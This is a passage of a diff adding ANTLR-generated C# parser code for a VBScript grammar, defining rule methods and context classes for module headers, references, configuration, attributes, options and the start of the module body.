State = 338; + moduleHeader(); + State = 340; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 339; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 342; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,2,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + } + State = 347; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,4,Context) ) { + case 1: + { + State = 346; + moduleReferences(); + } + break; + } + State = 352; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,5,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 349; + Match(NEWLINE); + } + } + } + State = 354; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,5,Context); + } + State = 356; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,6,Context) ) { + case 1: + { + State = 355; + controlProperties(); + } + break; + } + State = 361; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,7,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 358; + Match(NEWLINE); + } + } + } + State = 363; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,7,Context); + } + State = 365; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,8,Context) ) { + case 1: + { + State = 364; + moduleConfig(); + } + break; + } + State = 370; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,9,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 367; + Match(NEWLINE); + } + } + } + State = 372; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,9,Context); + } + State = 374; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,10,Context) ) { + case 1: + { + State = 373; + moduleAttributes(); + } + break; + } + State = 379; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,11,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 376; + Match(NEWLINE); + } + } + } + State = 381; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,11,Context); + } + State = 383; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,12,Context) ) { + case 1: + { + State = 382; + moduleOptions(); + } + break; + } + State = 388; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,13,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 385; + Match(NEWLINE); + } + } + } + State = 390; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,13,Context); + } + State = 392; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,14,Context) ) { + case 1: + { + State = 391; + moduleBody(); + } + break; + } + State = 397; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==NEWLINE) { + { + { + State = 394; + Match(NEWLINE); + } + } + State = 399; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 401; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 400; + Match(WS); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferencesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceContext[] moduleReference() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceContext moduleReference(int i) { + return GetRuleContext(i); + } + public ModuleReferencesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferences; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleReferences(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleReferences(this); + } + } + + [RuleVersion(0)] + public ModuleReferencesContext moduleReferences() { + ModuleReferencesContext _localctx = new ModuleReferencesContext(Context, State); + EnterRule(_localctx, 4, RULE_moduleReferences); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 404; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 403; + moduleReference(); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 406; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,17,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBScriptParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceValueContext moduleReferenceValue() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON() { return GetToken(VBScriptParser.SEMICOLON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceComponentContext moduleReferenceComponent() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + public ModuleReferenceContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReference; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleReference(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleReference(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceContext moduleReference() { + ModuleReferenceContext _localctx = new ModuleReferenceContext(Context, State); + EnterRule(_localctx, 6, RULE_moduleReference); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 408; + Match(OBJECT); + State = 410; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 409; + Match(WS); + } + } + + State = 412; + Match(EQ); + State = 414; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 413; + Match(WS); + } + } + + State = 416; + moduleReferenceValue(); + State = 422; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==SEMICOLON) { + { + State = 417; + Match(SEMICOLON); + State = 419; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 418; + Match(WS); + } + } + + State = 421; + moduleReferenceComponent(); + } + } + + State = 427; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,22,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 424; + Match(NEWLINE); + } + } + } + State = 429; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,22,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceValueContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBScriptParser.STRINGLITERAL, 0); } + public ModuleReferenceValueContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferenceValue; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleReferenceValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleReferenceValue(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceValueContext moduleReferenceValue() { + ModuleReferenceValueContext _localctx = new ModuleReferenceValueContext(Context, State); + EnterRule(_localctx, 8, RULE_moduleReferenceValue); + try { + EnterOuterAlt(_localctx, 1); + { + State = 430; + Match(STRINGLITERAL); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceComponentContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBScriptParser.STRINGLITERAL, 0); } + public ModuleReferenceComponentContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferenceComponent; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleReferenceComponent(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleReferenceComponent(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceComponentContext moduleReferenceComponent() { + ModuleReferenceComponentContext _localctx = new ModuleReferenceComponentContext(Context, State); + EnterRule(_localctx, 10, RULE_moduleReferenceComponent); + try { + EnterOuterAlt(_localctx, 1); + { + State = 432; + Match(STRINGLITERAL); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleHeaderContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VERSION() { return GetToken(VBScriptParser.VERSION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLELITERAL() { return GetToken(VBScriptParser.DOUBLELITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLASS() { return GetToken(VBScriptParser.CLASS, 0); } + public ModuleHeaderContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleHeader; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleHeader(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleHeader(this); + } + } + + [RuleVersion(0)] + public ModuleHeaderContext moduleHeader() { + ModuleHeaderContext _localctx = new ModuleHeaderContext(Context, State); + EnterRule(_localctx, 12, RULE_moduleHeader); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 434; + Match(VERSION); + State = 435; + Match(WS); + State = 436; + Match(DOUBLELITERAL); + State = 439; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 437; + Match(WS); + State = 438; + Match(CLASS); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleConfigContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBScriptParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBScriptParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigElementContext[] moduleConfigElement() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigElementContext moduleConfigElement(int i) { + return GetRuleContext(i); + } + public ModuleConfigContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleConfig; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleConfig(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleConfig(this); + } + } + + [RuleVersion(0)] + public ModuleConfigContext moduleConfig() { + ModuleConfigContext _localctx = new ModuleConfigContext(Context, State); + EnterRule(_localctx, 14, RULE_moduleConfig); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 441; + Match(BEGIN); + State = 443; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 442; + Match(NEWLINE); + } + } + State = 445; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 448; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 447; + moduleConfigElement(); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 450; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,25,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 452; + Match(END); + State = 454; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 453; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 456; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,26,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleConfigElementContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE() { return GetToken(VBScriptParser.NEWLINE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public ModuleConfigElementContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleConfigElement; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleConfigElement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleConfigElement(this); + } + } + + [RuleVersion(0)] + public ModuleConfigElementContext moduleConfigElement() { + ModuleConfigElementContext _localctx = new ModuleConfigElementContext(Context, State); + EnterRule(_localctx, 16, RULE_moduleConfigElement); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 458; + ambiguousIdentifier(); + State = 460; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 459; + Match(WS); + } + } + + State = 462; + Match(EQ); + State = 464; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 463; + Match(WS); + } + } + + State = 466; + literal(); + State = 467; + Match(NEWLINE); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleAttributesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext[] attributeStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext attributeStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + public ModuleAttributesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleAttributes; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleAttributes(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleAttributes(this); + } + } + + [RuleVersion(0)] + public ModuleAttributesContext moduleAttributes() { + ModuleAttributesContext _localctx = new ModuleAttributesContext(Context, State); + EnterRule(_localctx, 18, RULE_moduleAttributes); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 475; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 469; + attributeStmt(); + State = 471; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 470; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 473; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,29,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 477; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,30,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleOptionsContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleOptionContext[] moduleOption() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleOptionContext moduleOption(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + public ModuleOptionsContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleOptions; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleOptions(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleOptions(this); + } + } + + [RuleVersion(0)] + public ModuleOptionsContext moduleOptions() { + ModuleOptionsContext _localctx = new ModuleOptionsContext(Context, State); + EnterRule(_localctx, 20, RULE_moduleOptions); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 485; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 479; + moduleOption(); + State = 481; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 480; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 483; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,31,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 487; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,32,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleOptionContext : ParserRuleContext { + public ModuleOptionContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleOption; } } + + public ModuleOptionContext() { } + public virtual void CopyFrom(ModuleOptionContext context) { + base.CopyFrom(context); + } + } + public partial class OptionExplicitStmtContext : ModuleOptionContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTION_EXPLICIT() { return GetToken(VBScriptParser.OPTION_EXPLICIT, 0); } + public OptionExplicitStmtContext(ModuleOptionContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOptionExplicitStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOptionExplicitStmt(this); + } + } + public partial class OptionBaseStmtContext : ModuleOptionContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTION_BASE() { return GetToken(VBScriptParser.OPTION_BASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBScriptParser.INTEGERLITERAL, 0); } + public OptionBaseStmtContext(ModuleOptionContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOptionBaseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOptionBaseStmt(this); + } + } + public partial class OptionPrivateModuleStmtContext : ModuleOptionContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTION_PRIVATE_MODULE() { return GetToken(VBScriptParser.OPTION_PRIVATE_MODULE, 0); } + public OptionPrivateModuleStmtContext(ModuleOptionContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOptionPrivateModuleStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOptionPrivateModuleStmt(this); + } + } + public partial class OptionCompareStmtContext : ModuleOptionContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTION_COMPARE() { return GetToken(VBScriptParser.OPTION_COMPARE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BINARY() { return GetToken(VBScriptParser.BINARY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TEXT() { return GetToken(VBScriptParser.TEXT, 0); } + public OptionCompareStmtContext(ModuleOptionContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOptionCompareStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOptionCompareStmt(this); + } + } + + [RuleVersion(0)] + public ModuleOptionContext moduleOption() { + ModuleOptionContext _localctx = new ModuleOptionContext(Context, State); + EnterRule(_localctx, 22, RULE_moduleOption); + int _la; + try { + State = 497; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case OPTION_BASE: + _localctx = new OptionBaseStmtContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 489; + Match(OPTION_BASE); + State = 490; + Match(WS); + State = 491; + Match(INTEGERLITERAL); + } + break; + case OPTION_COMPARE: + _localctx = new OptionCompareStmtContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 492; + Match(OPTION_COMPARE); + State = 493; + Match(WS); + State = 494; + _la = TokenStream.LA(1); + if ( !(_la==BINARY || _la==TEXT) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + break; + case OPTION_EXPLICIT: + _localctx = new OptionExplicitStmtContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 495; + Match(OPTION_EXPLICIT); + } + break; + case OPTION_PRIVATE_MODULE: + _localctx = new OptionPrivateModuleStmtContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 496; + Match(OPTION_PRIVATE_MODULE); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleBodyContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyElementContext[] moduleBodyElement() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyElementContext moduleBodyElement(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public ModuleBodyContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleBody; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleBody(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleBody(this); + } + } + + [RuleVersion(0)] + public ModuleBodyContext moduleBody() { + ModuleBodyContext _localctx = new ModuleBodyContext(Context, State); + EnterRule(_localctx, 24, RULE_moduleBody); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 499; + moduleBodyElement(); + State = 501; + ErrorHandler.Sync(this); + switch 